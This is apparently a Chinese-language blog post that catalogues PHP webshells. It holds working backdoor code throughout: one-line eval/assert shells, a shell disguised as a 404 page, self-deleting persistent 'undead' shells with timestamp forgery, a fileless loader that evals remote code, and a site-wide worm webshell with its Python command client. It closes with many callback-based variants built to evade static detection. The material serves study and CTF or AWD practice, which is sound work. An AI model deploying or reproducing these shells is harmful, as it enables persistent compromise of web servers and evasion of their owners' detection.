整理汇总网络上常见的php_webshell进行学习分析。提升作为web狗的修养hhhhh
mua😘分类 一句话木马 1 <?php @eval ($_POST ['pass' ]); ?>
eval : PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为 PHP 代码执行
1 <?php assert($_REQUEST ["pass" ]);?>
assert: PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8 版本后可以接受两个参数
最短一句话
404.php,利用404隐藏一句话 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace("/[pageerror]/e" ,$_POST ['pass' ],"saft" ); header('HTTP/1.1 404 Not Found' ); ?>
e模式, 只限用于preg_replace()函数,把替换的字符串中的内容当成一个PHP表达式。
1 @preg_replace("/[ZnF1cG5ncW4=]/e" ,$_POST ['pass' ],"YWdhah" );
小马 主要完成文件上传功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php header("content-Type: text/html; charset=utf-8" ); ?> <? echo "</br>获取服务器IP地址: " .$_SERVER ['HTTP_HOST' ]."</br>获取服务信息: " .apache_get_version();?> <form method="POST" ></br> shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>" > <br><br> <textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br> <input type="submit" name="submit" value="保存" > <form> <?php error_reporting(0 ); if ($_POST ){ $f =fopen($_POST ["file" ],"w" ); echo fwrite($f ,$_POST ["text" ])? '保存成功!' : '保存失败!' ; } ?>
需要权限windows下成功率比较高
大马 现在用的比较少了
习科v5.6.zip
shell.php
不死马 1 2 3 4 5 6 7 8 9 10 11 12 <?php ignore_user_abort(true ); set_time_limit(0 ); unlink(__FILE__ ); $file = 'Validator.php' ;$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>' ;while (1 ){ file_put_contents($file ,$code ); system('touch -m -d "2018-12-01 09:10:12" .Validator.php' ); usleep(5000 ); } ?>
ignore_user_abort()
可以实现当客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行,可实现所谓的计划任务功能与持续进程,只需要开启执行脚本,除非 apache等服务器重启或有脚本有输出,该PHP脚本将一直处于执行的状态,初看很实用,不过代价是一个PHP执行脚本的持续进程,开销很大,但却可以 实现很多意想不到的功能。set_time_limit(0)
表示长时间链接运行,不限制页面运行时间unlink(__FILE__)
;删除文件本身,起到隐蔽自身的作用 while 循环内每间隔usleep(5000);
即写入新的后门文件system()
执行的命令用于修改文件的创建时间,可以绕过find –name '*.php' –mmin -10
命令检测最近10分钟修改或新创建的php文件,但不一定有用,可选。1a1dc91c907325c69271ddf0c944bc72-->pass
网上流传的不死马, while 里面只是并没有判断了这个文件是不是存在
那么我只需要把这个文件中的 shell 注释掉就可以绕过你的内存木马了
1 2 3 4 5 6 7 8 9 10 11 12 <?php ignore_user_abort(true ); set_time_limit(0 ); $file = 'c.php' ; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+' ); while (true ) { if (md5(file_get_contents($file )) != md5($code )) { file_put_contents($file , $code ); } usleep(50 ); } ?>
1 PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+`-->`<?php eval ($_POST [c]);?>
不死性
查杀方法
如果允许,重启服务是万能的;
其次,最好的解决方案是kill掉www-data用户的所有子进程(最有效,但是客户可能会让你赔钱):
1 ps aux | grep www-data | awk '{print $2}' | xargs kill -9
创建一个和不死马生成的马一样名字的目录;(收效甚微)
写脚本一直删除木马文件。
无文件马 自删除的木马,在运行一次后会将自身文件删除,但将某些代码运行至进程中
1 2 3 4 5 6 7 8 9 10 <?php unlink($_SERVER ['SCRIPT_FILENAME' ]); ignore_user_abort(true ); set_time_limit(0 ); $remote_file = 'http://127.0.0.1/eval.txt' ;while ($code = file_get_contents($remote_file )){ @eval ($code ); sleep(5 ); };
eval.txt
1 file_put_contents('1.txt' ,'hello world ' .time());
$_SERVER['SCRIPT_FILENAME']
与 __FILE__
的区别
相同点
通常情况下,PHP $_SERVER['SCRIPT_FILENAME']
与 __FILE__
都会返回 PHP 文件的完整路径(绝对路径)与文件名:
1 2 3 4 5 <?php echo 'SCRIPT_FILENAME 为:' ,$_SERVER ['SCRIPT_FILENAME' ];echo '<br />' ;echo '__FILE__ 为:' ,__FILE__ ;?>
SCRIPT_FILENAME
为:/var/www/app/5.php
__FILE__
为:/var/www/app/5.php
不同点
尽管 $_SERVER['SCRIPT_FILENAME']
与 __FILE__
非常相似,但在文件被 include
或 require
包含的时候,二者的差别是:$_SERVER['SCRIPT_FILENAME']
反映的是当前执行程序的绝对路径及文件名;__FILE__
反映的是原始文件(被包含文件)的绝对路径及文件名。
蠕虫webshell 功能
递归扫描所有web目录及文件,全部扫到的php写入webshell
网站全部php可作为webshell连接执行命令
不带参数请求又可以正常访问原页面,不影响访问
所有web路径目录写入单独一个特定webshell
判断是否写过不再重复写入
所有php页面都可以互相复活蠕虫webshell
蠕虫webshell返回所有php文件url地址
蠕虫webshell发送返回数据传输加密
数字签名校验执行、5秒后不可重放 后续添加
页面功能性可控(可以使全部php原有功能失效,只剩下webshell功能)
前端互相复活以及反渗透
适配meterpreter连接
加密混淆
带一个参数访问我的webshell,全站的php文件都被我感染,都可以当webshell连,都可以执行命令,只要带一个参数访问都可以互相复活。
扫描从函数scandir
替换为is_dir()
操作过程 假设shell.php已经上传到目录,上传目录为upload,ip为192.168.1.1
访问http://192.168.1.1/upload/shell.php
正常不带参数访问是返回状态码500,页面会正常访问
带参数下划线访问,会自动感染全站php文件,所有php可以当shell连接
eg:http://192.168.1.1/upload/shell.php?_
如上带下划线参数访问后,右键查看页面源代码可以看到所有被感染的php地址。
可以使用python把所有url爬下来,爬取规则:
1 checks_arr = html.find_all(attrs={'id' : 'php_url' })
服务端代码 来自于 3s_NWGeek 的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 <?php $tips = 'AWD_Light_Check' ;error_reporting(0 ); $Serv_Num = 159 ;$arr_dir = array ();$files = array ();if (!function_exists('Url_Check' )) { function Url_Check ( ) { $pageURL = 'http' ; if ($_SERVER ["HTTPS" ] == "on" ) { $pageURL .= "s" ; } $pageURL .= '://' ; $pageURL .= $_SERVER ["SERVER_NAME" ] . ":" . $_SERVER ["SERVER_PORT" ]; return $pageURL ; } function file_check ($dir ) { global $arr_dir ; global $files ; if (is_dir($dir )) { if ($handle = opendir($dir )) { while (($file = readdir($handle )) !== false ) { if ($file != '.' && $file != ".." ) { if (is_dir($dir . "/" . $file )) { $arr_dir [] = $dir ; $files [$file ] = file_check($dir . "/" . $file ); } else { $arr_dir [] = $dir ; $files [] = $dir . "/" . $file ; } } } } } closedir($handle ); $arr_dir = array_unique($arr_dir ); } function write_conf ( ) { global $Serv_Num ; global $arr_dir ; foreach ($arr_dir as $dir_path ) { $srcode = '' ; $localtext = file(__FILE__ ); for ($i = 0 ; $i < $Serv_Num ; $i ++) { $srcode .= $localtext [$i ]; } $le = Url_Check(); echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER ['DOCUMENT_ROOT' ], '' , $dir_path . "/.Conf_check.php" ) . '</iframe>' ; fputs(fopen($dir_path . "/.Conf_check.php" , "w" ), $srcode ); } } function vul_tran ( ) { global $Serv_Num ; $pdir = dirname(__FILE__ ); if (is_dir($pdir )) { if ($dh = opendir($pdir )) { while (($fi = readdir($dh )) != false ) { $file_Path = $pdir . '/' . $fi ; if (strpos($file_Path , '.php' )) { $le = Url_Check(); $file_Path = str_replace('\\' , '/' , $file_Path ); echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER ['DOCUMENT_ROOT' ], '' , $file_Path ) . '</iframe>' ; $ftarget = file($file_Path ); if (!strpos($ftarget [0 ], 'AWD_Light_Check' )) { $scode = '' ; $localtext = file(__FILE__ ); for ($i = 0 ; $i < $Serv_Num ; $i ++) { $scode .= $localtext [$i ]; } $code_check = '' ; $file_check = fopen($file_Path , "r" ); while (!feof($file_check )) { $code_check .= fgets($file_check ) . "\n" ; } fclose($file_check ); $webpage = fopen($file_Path , "w" ); fwrite($webpage , $scode . $code_check ); fclose($webpage ); } } } closedir($dh ); } } } } try { if (isset ($_GET ['_' ])) { $host = Url_Check(); file_check($_SERVER ['DOCUMENT_ROOT' ]); write_conf(); vul_tran(); } elseif (isset ($_GET ['time' ]) && isset ($_GET ['salt' ]) && isset ($_GET ['sign' ])) { $Check_key = '9c82746189f3d1815f1e6bfe259dac29' ; $Check_api = $_GET ['check' ]; $timestamp = $_GET ['time' ]; $salt = $_GET ['salt' ]; $csign = $_GET ['sign' ]; $sign = md5($Check_api . $Check_key . $timestamp . $salt ); if ($sign === $csign ) { $nomal_test = '' ; for ($i = 0 ; $i < strlen($Check_api ); $i ++) { $nomal_test .= chr(ord($Check_api [$i ]) ^ $i % $salt ); } $nomal_test = base64_decode($nomal_test ); $nowtime = time(); if (abs($nowtime - $timestamp ) <= 5 ) { $enc = base64_encode(rawurlencode(`{$nomal_test }`)); $pieces = explode("i" , $enc ); $final = "" ; foreach ($pieces as $val ) { $final .= $val . "cAFAcABAAswTA2GE2c" ; } $final = str_replace("=" , ":kcehc_revres" , $final ); echo strrev(substr($final , 0 , strlen($final ) - 18 )); exit ; } else { header('HTTP/1.1 500 Internal Server Error' ); } } else { header('HTTP/1.1 500 Internal Server Error' ); } } else { header('HTTP/1.1 500 Internal Server Error' ); } } catch (Exception $e2 ) { }
客户端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from urllib import unquoteimport base64import timefrom random import randomfrom hashlib import md5import requestsimport tracebackpasswd = 'admin' webshell_url = 'http://192.168.75.134/wuhen.php' cmd = 'ifconfig' def getSerTime (url ): ser_time_format = '%a, %d %b %Y %H:%M:%S GMT' r = requests.get(url, allow_redirects=False ) if r.headers['Date' ]: stimestrp = time.strptime(r.headers['Date' ], ser_time_format) stime = time.mktime(stimestrp) + 60 * 60 * 8 timeskew = int (time.time()) - int (stime) return timeskew else : return None def encrypt (string, salt, encoding='utf-8' ): estring = '' b64string = base64.b64encode(string.encode(encoding)).decode('utf-8' ) for n, char in enumerate (b64string): estring += chr (ord (char) ^ n % salt) return estring def decrypt (estring, salt, encoding='utf-8' ): data = estring[::-1 ].replace('cAFAcABAAswTA2GE2c' , 'i' ).replace(':kcehc_revres' , '=' ).encode( 'unicode_escape' ).decode("string_escape" ) string = unquote(base64.urlsafe_b64decode(data)) string = unicode(string, "gb2312" ).encode("utf8" ) return string def excmd (url, passwd, cmd, encoding='utf-8' ): try : timeskew = getSerTime('/' .join(url.split('/' )[:-1 ])) nowtime = int (time.time()) if timeskew == None : print ('检查服务器时间出错,请手动确认服务器时间!' ) servtime = 1540891350 nowtime = servtime else : nowtime -= timeskew passwd = md5(passwd.encode('utf-8' )).hexdigest() salt = int (random() * 100 ) ecmd = encrypt(cmd, salt) sign_tmp = ecmd + passwd + str (nowtime) + str (salt) sign = md5(sign_tmp.encode('utf-8' )).hexdigest() parameters = { 'time' : nowtime, 'check' : ecmd, 'salt' : salt, 'sign' : sign } head = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' , 'Accept-Language' : 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' , 'Connection' : 'close' , 'Upgrade-Insecure-Requests' : '1' , 'Cache-Control' : 'max-age=0' } r = requests.get(url, params=parameters, headers=head, timeout=3 ) if '0:' in r.text: print '执行成功:' , res = decrypt(r.content.decode('utf-8' ).replace('0:' , '' ), salt, encoding) return res except Exception as e: pass traceback.print_exc() def main (): r = excmd(webshell_url, passwd, cmd) print (r) if __name__ == '__main__' : main()
动态特性类 可变变量 允许我们动态地改变一个变量的名称
等价于:
双刀大法
1 2 3 4 5 <?php $b = "assert" ; $a = 'b' ; $$a ($_POST ['pass' ]); ?>
可变函数 如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数 ,并且尝试执行它利用可变函数,我们可以将函数名也作为参数进行传递,避免敏感关键字被静态检测识别出来
1 <?php @$_GET ['a' ]($_POST ['pass' ]);?>
一般都是使用assert
,因为eval
不能被可变函数调用
回调函数 回调函数是指调用函数的时候,将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数。使用回调函数是为了可以将一段自己定义的功能传到函数内部使用。
1 <?php @call_user_func('assert' , $_REQUEST ['pass' ]); ?>
call_user_func_array
函数,和call_user_func
类似,只是第二个参数可以传入参数列表组成的数组。
1 <?php @call_user_func_array('assert' , array ($_REQUEST ['pass' ])); ?>
在php中回调函数很多,含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。
1 2 3 4 <?php $e = $_REQUEST ['e' ];$arr = array ($_POST ['pass' ],);array_filter($arr , base64_decode($e ));
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的
php5.4.8+ assert支持两个参数 uasort 1 2 3 4 <?php $e = $_REQUEST ['e' ];$arr = array ('test' , $_REQUEST ['pass' ]);uasort($arr , base64_decode($e ));
后门在php5.3时会报错,提示assert只能有一个参数
uksort 1 2 3 4 <?php $e = $_REQUEST ['e' ];$arr = array ('test' => 1 , $_REQUEST ['pass' ] => 2 );uksort($arr , $e );
面向对象的方法
1 2 3 4 5 6 7 8 <?php $arr = new ArrayObject (array ('test' , $_REQUEST ['pass' ]));$arr ->uasort('assert' );$arr = new ArrayObject (array ('test' => 1 , $_REQUEST ['pass' ] => 2 ));$arr ->uksort('assert' );
array_reduce/array_map 1 2 3 4 <?php $e = $_REQUEST ['e' ];$arr = array (1 );array_reduce($arr , $e , $_POST ['pass' ]);
array_udiff 1 2 3 4 5 <?php $e = $_REQUEST ['e' ];$arr = array ($_POST ['pass' ]);$arr2 = array (1 );array_udiff($arr , $arr2 , $e );
三个参数的回调 1 2 3 4 <?php $e = $_REQUEST ['e' ];$arr = array ($_POST ['pass' ] => '|.*|e' ,);array_walk($arr , $e , '' );
上面说过
一个参数:assert
两个参数:assert (php5.4.8+)
三个参数:preg_replace /e
模式
e=preg_replace
/e
模式, 只限用于preg_replace()函数,把替换的字符串中的内容当成一个PHP表达式。
array_walk_recursive同
正则e模式 mb_ereg_replace 1 2 <?php mb_ereg_replace('.*' , $_REQUEST ['pass' ], '' , 'e' );
preg_filter 1 2 <?php echo preg_filter('|.*|e' , $_REQUEST ['pass' ], '' );
其他回调 register_shutdown_function 1 2 3 <?php $e = $_REQUEST ['e' ];register_shutdown_function($e , $_REQUEST ['pass' ]);
register_tick_function 1 2 3 4 <?php $e = $_REQUEST ['e' ];declare (ticks=1 );register_tick_function ($e , $_REQUEST ['pass' ]);
filter_var 1 2 3 <?php filter_var($_REQUEST ['pass' ], FILTER_CALLBACK, array ('options' => 'assert' )); filter_var_array(array ('test' => $_REQUEST ['pass' ]), array ('test' => array ('filter' => FILTER_CALLBACK, 'options' => 'assert' )));
mb_ereg_replace_callback 1 mb_ereg_replace_callback('.+' , create_function('$arr' , 'return assert($arr[0]);' ),$_REQUEST ['pass' ]);
set_exception_handler 1 2 set_exception_handler(create_function('','return assert($_GET[k]);')); throw new exception();
forward_static_call 1 2 3 4 5 6 7 8 class a { public function __construct ($args ) { forward_static_call('assert' ,$args ); } } new a($_POST [k]);
iterator_apply 1 iterator_apply(new arrayiterator (array ($_GET ['k' ])),create_function('Iterator $i' ,'assert($i->current());' ),array (new arrayiterator (array ($_GET ['k' ]))));
array_intersect_ukey 1 array_intersect_ukey(array ($_GET ['k' ]=>'1' ),array ($_GET ['k' ]=>'1' ),'assert' );
array_uintersect_uassoc 1 array_uintersect_uassoc(array ($_GET [k]),array ('' ),'assert' ,'strstr' );
array_intersect_uassoc 1 array_intersect_uassoc(array ($_POST ['k' ]=>'' ),array ('' ),'assert' );
filter_var 1 filter_var("phpinfo();" ,1024 , array ("options" => "assert" ));
filter_var_array 1 filter_var_array(array ('test' => $_REQUEST ['pass' ]), array ('test' => array ('filter' => FILTER_CALLBACK, 'options' => 'assert' )));
preg_replace_callback 1 preg_replace_callback('/. /i' , create_function('$arr' , 'return assert($arr[0]);' ), $_REQUEST ['pass' ]);
无回显回调后门ob_start 1 2 3 ob_start('assert' ); echo $_REQUEST ['pass' ];ob_end_flush();
create_function创建回调函数 1 2 3 $mem = new Memcache();$re = $mem ->addServer('localhost' , 11211 , TRUE , 100 , 0 , -1 , TRUE , create_function('$a,$b,$c,$d,$e' , 'return assert($a);' ));$mem ->connect($_REQUEST ['pass' ], 11211 , 0 );
CallbackFilterIterator创建回调函数 1 2 $iterator = new CallbackFilterIterator (new ArrayIterator (array ($_REQUEST ['pass' ],)), create_function('$a' , 'assert($a);' ));foreach ($iterator as $item ) {echo $item ;}
session_set_save_handler 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 function test ($para ) { session_set_save_handler("open" , "close" , $para , "write" , "destroy" , "gc" ); @session_start(); } $session = base64_decode($_REQUEST ['id' ]);function open ($save_path , $session_name ) {} function close ( ) {} session_id($_REQUEST ['op' ]); function write ($id , $sess_data ) {} function destroy ($id ) {} function gc ( ) {} test($session );
扩展中的回调函数如sqlite/pdo/yaml/memcached等 PDO数据库回调
1 2 3 4 5 $e = $_REQUEST ['e' ];$db = new PDO('sqlite:sqlite.db3' );$db ->sqliteCreateFunction('myfunc' , $e , 1 );$sth = $db ->prepare("SELECT myfunc(:exec)" );$sth ->execute(array (':exec' => $_REQUEST ['pass' ]));
SQLite3 数据库回调
1 2 3 4 5 6 $e = $_REQUEST ['e' ];$db = new SQLite3('sqlite.db3' );$db ->createFunction('myfunc' , $e );$stmt = $db ->prepare("SELECT myfunc(?)" );$stmt ->bindValue(1 , $_REQUEST ['pass' ], SQLITE3_TEXT);$stmt ->execute();
php_yaml库
1 2 3 4 5 $str = urlencode($_REQUEST ['pass' ]);$yaml = <<<EOD greeting: !{$str} "|. |e" EOD ;$parsed = yaml_parse($yaml , 0 , $cnt , array ("!{$_REQUEST['pass']} " => 'preg_replace' ));
反射技术 1 2 $func = new ReflectionFunction($_GET [m]);echo $func ->invokeArgs(array ($_GET [c]));
xx.com/shell.php?m=assert&c=phpinfo();
反序列化 1 2 3 4 5 6 7 8 9 class foo { public $data ="text" ; function __destruct ( ) { eval ($this ->data); } } $file_name =$_GET ['id' ];unserialize($file_name );
1 shell.php?id=id=O:3 :"foo" :1 :{s:4 :"data" ;s:10 :"phpinfo();" ;}